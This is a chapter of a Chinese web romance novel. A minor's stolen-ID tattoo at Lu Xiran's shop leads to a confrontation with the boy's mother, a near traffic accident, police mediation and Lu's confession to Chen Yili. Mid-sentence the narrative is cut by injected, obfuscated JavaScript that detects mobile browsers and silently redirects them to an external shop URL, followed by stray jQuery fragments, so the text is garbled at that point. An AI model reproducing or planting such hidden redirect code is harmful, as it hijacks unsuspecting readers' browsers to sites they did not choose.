11.冲突

作品:《我那哑巴似的初恋

    这是一个不好回答的问题。沉默被车窗外的风声挤压进来,张牙舞爪地压盖住车内的空间氛围。


    路熙然不会说愿意,打死都不会。


    因为他不甘心。


    但在这一刻,他却像是被谌一礼的问题逼到了一个岔路口,但无论他往那个角度逃窜,迎接他的只会是锋利的刀锋。


    ——谌一礼只会拒绝他。


    但好在他的沉默,伴随着车辆的平稳停靠很快得到了解脱。


    不会审时度势的代驾拯救了他,“到地方了,你们谁下?”


    “我。”路熙然按下自己的心跳声回答,他在快下车前冲谌一礼笑了下,说了一句,“注意安全。”


    谌一礼看着他的样子,点点头,没追问,也没逼迫。车辆就这样开走了。


    车外的空气,比车内好太多。没有难以解答问题、没有要选的答案。路熙然的呼吸放松下来,但随之而来的是心脏渐渐下沉的压抑。


    路熙然站在路边,看着那辆远去的车,苦笑了下。他思忖着要不晚上叫上骆环出去喝酒。因为他不敢回答谌一礼的问题。


    进一步,怕唐突。


    退一步,又舍不得。


    哪怕他可以毫无顾忌的在许毅面前承认自己要追人,但在真正的谌一礼面前,他到底还是胆怯与懦弱。


    因为过去的那段时间他不占理,他恐惧将这好不容易重拾的联系再度切断。


    他害怕谌一礼的问题,害怕得到一个被定义的身份。


    可也正因为这恐惧,才促使他止步不前,原地踏步。


    越活越回去了。


    于是这天之后,两人之间彻底断了联系。没有人纠结是否要选择普通朋友的身份,也没有人追问如今两人应该如何相处。


    路熙然是避之不及,谌一礼是多少有些不太在意。


    只是大概又是赶巧,一周后两人还是见了一面。至于这个见面的契机,是谌一礼的便宜侄子,谌桐。


    事情是这样的。


    谌桐的同学听谌桐说自己有个开纹身店的哥哥,便偷拿了家里表亲的身份证跑去纹。


    那天接待的前台是个新人,看了身份证觉得没问题又见那孩子赶时间,就安排了学徒带对方进了纹身室。


    结果刚开始纹,人家家长找了过来,谌桐害怕不敢给他爸打电话,只能联系老爷子,谁知道老爷子那时正忙着参加老年大学交谊舞比赛,只能安排了谌一礼过去。


    谌一礼到的时候,事情还没解决。


    这事说白了,可大可小。那家长来的算及时,纹身笔头才刚在皮肤上刺下去,一个勾线才开个头。


    但无论怎样,到底是路熙然这边的错处,他赔了对方一笔费用,又答应给孩子把纹身洗了。


    “很抱歉,这是我们店员的问题,该扣的绩效和工资,我这边一定会罚,如果你那边还有什么不满意,我们再商量。”路熙然态度陈恳,他这边尽量补偿,如果家长要去举报卫生局,他也认。


    推诿扯皮,没那个必要。


    可那位家长明显情绪上头,气不打一处来,刚把孩子打了一顿不算,指着路熙然就骂。


    “到时候皮肤增生怎么办?你自己纹身纹这么多,想混社会我管不着,可我家明年中考,他跟你们不一样!”


    那家长说到这里,不等路熙然回应,又指着一边的谌桐,“你也是!成绩不好就算了,怎么有这么个哥哥!以后要玩,别带着我家孩子!我真倒了八辈子血霉,家里孩子不省心就算了,交个朋友也不让人省心。”


    谌桐半边身子藏在谌一礼身后没说话,但他梗着脖子站在那里,一双眼睛憋得通红。


    刚十二的孩子,正值叛逆期,要面子,哪里被人这么指着鼻子冷嘲热讽过。


    谌一礼看着这家长一副不讲理的样子,直接出声回呛:“我家孩子怎么了?是他让人去偷的身份证?还是他出钱给他纹的身?”


    那家长被他的话噎了一下,顶着谌一礼的眼神,不知道说什么,干脆扯过自家孩子就往人屁股上踹,“你看看你交的都是什么朋友?不是他告诉你这有纹身室,你会进来吗?天天不学好,交些狐朋狗友,成绩一塌糊涂,以后就只能跟这些人一样去给别人纹身,混社会。”


    这指桑骂槐的本事太强,被她拉着打的孩子抬不起头,站在那里像是小牛犊一样,一动不动。


    “嘿,你这大妈真有意思……”骆环开口正准备怼几句,被路熙然拦下。


    路熙然不喜欢吵架,也不喜欢相互掰扯谁对谁错。他站在那里,瞥了一眼被他妈妈死死拽着衣服的男孩,只说了一句话,“您这边还需要什么,我这里都能配合。”


    他态度太诚恳,一副好说话的模样让那家长开始坐地起价,误工费、医疗费杂七杂八算了一大堆,说要三万。


    她孩子站在一边反手扯过他妈妈的袖子,瘪着嘴在那里摇头,像是祈求又像是拒绝,那双眼睛不敢看路熙然,只一味地钉在他母亲身上。


    “妈,不要这么多。”他的声音很小,像是泄气了的皮球。


    可他妈妈挣开了被孩子拉扯的衣袖,声音粗粝,“你懂个屁,我这都是为你拿的钱,到时候你皮肤增生去医院不花钱?我供你上学不花钱?你那倒霉鬼的爹死得早,你也不让我省心,你自己想想,家里哪里不花钱?”


    “钱!钱!钱!你就知道钱!”孩子突然怒吼,他伫在那里,忍受着纹身室其他人的目光,红着一双眼睛死死盯着他母亲,“你从没想过我要什么!你只会为我好!为我好到找爷爷奶奶要钱!找别人要钱!你根本就不是为了我!你就是为了你自己!”


    他从压抑中难得剥离出了一丝勇气,在抬头吼完自己想说的话,对上了他妈妈惊异的眼神后站在原地愣了一秒,转身就往外跑。


    少年的冲动和勇气总是来去很快,他一股脑的冲母亲吼完,又一股脑的离开,可无奈纹身室门口出去越过人行道后正对马路,慌不择路的孩子猛然一头扎入了机动车道上。


    迎面而来的汽车鸣笛让他愣在原地,陡然睁大的瞳孔对上了驾驶室里司机惊愕的表情。


    紧急关头,从纹身室里追出来的路熙然一把拽过孩子的胳膊把人往怀里带。惯性使然,两人往后倒退时,不小心撞到了驶来的电动车。


    两人连同电动车主一起倒地,随后那轿车在柏油路上滑过一道刹车印后,也堪堪停在了一旁。


    孩子安然无恙,倒霉的是路熙然跟那个电动车主。


    路熙然胳膊在倒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196074|197039||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地时擦破了一大块,那电动车主更是一头栽进了花坛。


    谌一礼看着门前的那一幕心惊得忘了动,可刚赶过去就见那孩子家长站在路熙然旁边又是一顿指指点点,明摆着是又想多讹笔钱。


    “你这怎么开车的?离着人行道不会控制车速?还有你电动车怎么骑的?不会骑就别上路啊。”她狠巴巴的,语气不善,看了眼自己孩子没受伤后,又把目光放在了路熙然身上。


    那审视的表情让谌一礼不爽,他半拦在路熙然身前,把那人护在自己身后,“是你自己孩子想跑,差点被车撞,你还想说什么?”


    “谁知道我孩子是被车撞的,还是被他推?都是些花里胡哨的东西。”她仍旧是那副油盐不进的模样。


    谌一礼气笑了,懒得跟她掰扯,抬手扯了张自己的名片递过去,让她觉得赔偿不好直接报警,反正他这边有钱不怕被告。


    话说完,他又走到那位电动车主旁边,询问过人家伤势后,反问人要不要一起先报警,理由是那孩子妨碍交通安全。


    反正就这么争执起来了,那家长先动了手,推了谌一礼一把,谁知道路熙然突然过来,反手直接猛地一用力,让那家长摔了个屁股蹲。


    几个人凑在马路边吵吵嚷嚷的,反倒是那位轿车车主先报了警。


    最后还是走的民事调解,该怎么赔怎么赔。处理事情的民警是陈闻玦,他跟路熙然是熟人,以前就经常打交道,也拎得清事,没太偏帮谁。


    谌一礼下午三点从公司出来,等出警局时已经近乎晚上七点。


    他出来站在警局门口点了跟烟,看着站在里面跟陈闻玦说着话的路熙然敛眸半晌。


    “谌总,有时间吗?你如果方便的话,帮我把伤口处理一下,顺便一起吃个饭吧。”


    谌一礼望着刚从派出所走出来的路熙然,目光扫过他胳膊上的擦伤,想起方才这人护着自己的样子,到底是没拒绝,灭了手里的烟,应了一句:“好。”


    说是一起吃饭,但也没去餐馆,直接点了外卖后回了纹身室。


    这个时间,该下班的都下班了,只有今天处事不当的前台跟学徒还没走。


    两个人年纪都不大,前台还在读大学,事发时就有些战战兢兢。他见路熙然回来,也不敢凑近,只敢跟在那学徒后面跟人道歉。


    路熙然看了他们一眼,没多说什么,象征性的扣了三天工资,这事就算过去了。


    “这么好心?就罚这点?”谌一礼从路熙然画室后的休息间里拿出了医疗箱给人的擦伤处上药。


    那块其实不算太严重,已经开始结疤。


    “没必要罚太多,都不容易。”路熙然说。


    “那对那大婶,你也是真准备出三万给她?”谌一礼挑眉,“她也不容易。”


    “不会。”路熙然回。


    “怎么?”


    “因为你护着我了,”路熙然说到这里,目光撞向谌一礼的那双眸子,他又重复了一遍,“你护着我了,我起码不能对不起你。”


    谌一礼没接这句话。


    路熙然接着道:“我本想着,用三万买一个孩子的自尊心不亏,但你护着我了,我就想着还是你重要些。”


    “谌一礼,对你,我有私心。”